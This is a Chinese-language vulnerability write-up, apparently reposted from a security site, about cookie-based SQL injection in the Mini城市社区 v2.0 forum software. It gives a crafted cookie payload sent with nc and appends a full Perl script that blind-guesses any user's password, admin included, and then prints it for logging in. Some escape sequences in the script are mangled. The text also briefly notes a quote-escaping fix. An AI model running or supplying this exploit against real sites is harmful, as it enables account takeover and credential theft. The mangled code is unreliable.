一般ASP程序出现SQL injection漏洞,一般都是通过从地址栏提交精心构建的地址,达到注入的目的。其实,在Cookies中同样可以实现SQL injection。这次漏洞涉及的是Mini城市社区v2.0 免费版本+SP1补丁。
Mini城市社区是http://xmcn.com/city开发的一套开放源代码的社区程序;由于多个文件存在变量未过滤特殊字符,可能导致用户非法控制社区,获取管理员在内的用户密码。由于问题文件较多,这里特选取一个简单的user_photo.asp来作解释。
user_photo.asp文件的作用是上传用户头像图片的,先看看文件开头是怎么样验证用户已登陆的:
if Request.Cookies("NC")="" or Request.Cookies("NC")="访客" then Response.Write("对不起,您不是社区用户,请先注册!") Response.End end if
这里他简单的使用了Cookies中的NC变量的值,是否不为空或不为"访客"来判断用户。没有对数据库是否存在这个用户,以及没有密码认证是他犯下的第一个错误。接着往后看代码:
set rs=server.createobject("adodb.recordset") set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")
前两句话,就是他的第二个错误,没有对Request.Cookies("NC")得来的数据进行任何过滤就直接放入了SQL语句中,进行查询操作,通过构造Cookies就可以在这里进行SQL injection!
......省略部分代码
" width="200" height="150">
在后面的代码中,通过先前从数据库查询得来的数据,调用user_photo_disp.asp来显示图片,如果首先的查询语句正常返回了,这里就可以正常显示;反之,由于没有相应的数据作参数,这里就会显示错误。利用这个现象,我们就能够判断出我们构造的SQL语句的正确与否。
好了,简单的回顾刚才的三个分析步骤,也是任何一个SQL injection漏洞被确立的三个必要条件: 1.能够顺利的让ASP程序运行到有错误的语句上,而又不能破坏我们构建的数据。 2.能够控制SQL语句的构成,插入我们需要的SQL语句成分。 3.能够在客户端(浏览器)返回的数据中,找到SQL语句是否正确执行的判断标准(现象)。
完成了漏洞的分析,下面就是简单的实践过程了,由于Cookies存在的特殊性,一般都是用程序来进行暴力猜解的。但是,为了大家能够理解数据在服务器和浏览器之间是怎么样运作的,笔者简单的使用nc.exe(网络瑞士军刀)来演示一下过程,文后附带了笔者写的一个perl脚本,可以用来猜解任意账户密码,使用前先注册一个用户名为goo的账户。
Nc.exe的详细使用指南可以在网上搜索得到,笔者就不再多说了。在命令行下执行: nc -vv 127.0.0.1 80 <1.txt >1.htm ,其中127.0.0.1是运行了Mini城市社区的服务器IP地址,80是端口号,1.htm保存的是服务器返回结果,1.txt是我们构造的数据,其内容如下,注意最后一个分号后,有三个回车。
GET /mcity/main.asp HTTP/1.0 Host: 127.0.0.1 Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
我们将Cookies中的NC数据带入到SQL语句中来看看我们到底想执行什么: Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and ‘1'
很显然,我们在试图探测用户名为admin的密码长度是否为7。大家可以发挥一下自己的思考能力,构造其他的SQL语句进行查询,在带入1.txt的格式中时,注意将=(等号)换成%3D,将'(单引号)换成%27,将空格换成%20。其实,笔者在简单测试Mini城市社区的官方网站时,发现其已经解决了大部分的SQL injection漏洞,只不过没有将补丁发放出来。任在使用该社区的朋友就只好先自己动手改改了,将所有使用Request函数的地方都用如下格式代替Replace(Request.Cookies("NC"),"'","''"),通过剔除'(单引号)来加大漏洞利用的难度,至于彻底解决还是等待官方的补丁为妙。
附录: #!/usr/bin/perl #Codz By Mix2003/8/15 #The Script can crack MINI system user's password
$|=1; use Socket; use Getopt::Std; getopt('hpwu');
print "=====================================================/n"; print " The Script Codz By Mix /n"; print "=====================================================/n";
&usage unless ( defined($opt_h) && defined($opt_w) );
$host=$opt_h; $port=$opt_p||80; $way=$opt_w; $username=$opt_u;
print "/nPlease wait.../n/n";
@dic=(0..20); for ($i=0;$i<@dic;$i++) { $cookies="NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D$dic[$i]%20and%20NC%3D%27$username%27)%20and%20%271"; $request = "GET $way HTTP/1.0/r/n". "Host: $host/r/n". "Cookie: $cookies;/n/n"; print "$dic[$i]."; @in = sendraw($request); @num=grep /图片可以是/, @in; $size=@num; if ($size > 0) { $len=$dic[$i]; print "/n/nSuccessful,The len of admin's password is $dic[$i] ./n/n"; last; } }
for ($j=1;$j<=$len;$j++) { @dic11=(0..9); @dic12=(a..z); @dic13=(A..Z); @special=qw(` ~ ! @ # $ %25 ^ %26 * /( /) _ %2b = - { } [ ] : " ; < > ? | , . / //); @special2=qw( ` ~ ! • # ¥ % ...... — * ( ) —— + - = { } [ ] : " " ; ' 《 》 ? │ , 。 / 、 〈 〉 '); @dic=(@dic11,@dic12,@dic13,@special,@special2); for ($i=0;$i<@dic;$i++) { $key=$pws.$dic[$i]; $cookies="NC=goo%27and%20exists%20(select%20id%20from%20HY%20where%20left(MM,$j)%3D%27$key%27%20and%20NC%3D%27$username%27)%20and%20%271";
$request = "GET $way HTTP/1.0/r/n". "Host: $host/r/n". "Cookie: $cookies;/n/n"; print "$dic[$i]."; @in = sendraw($request); @num=grep /图片可以是/, @in; $size=@num; if ($size > 0) { $th=$j.th; print "/nSuccessful,The $th word of the password is $dic[$i] /n"; $pws=$pws.$dic[$i]; last; } } }
$pws=~s//%2b//+/ig; $pws=~s//%25//%/ig; $pws=~s//%26//&/ig; print "/n/nSuccessful,The $username's password is $pws ./n/n";
print "Now , you can use /nusername: $username/npassword: $pws/nto login !/n/n";
sub usage { print qq~ Usage: $0 -h [-p ] -w -h =hostname you want to crack -p =port,80 default -w =the path of the weak file and the file's path -u =you want to crack user's name
Eg: $0 -h www.target.com -p 80 -w /mcity/user_photo.asp -u admin ~; exit; }
#thanx rfp's sendraw sub sendraw { my ($request) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems/n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $request; my @in = ; select(STDOUT); close(S); return @in; } else { die("Can't connect.../n"); } }
【转自世纪安全网 http://www.21safe.com】
|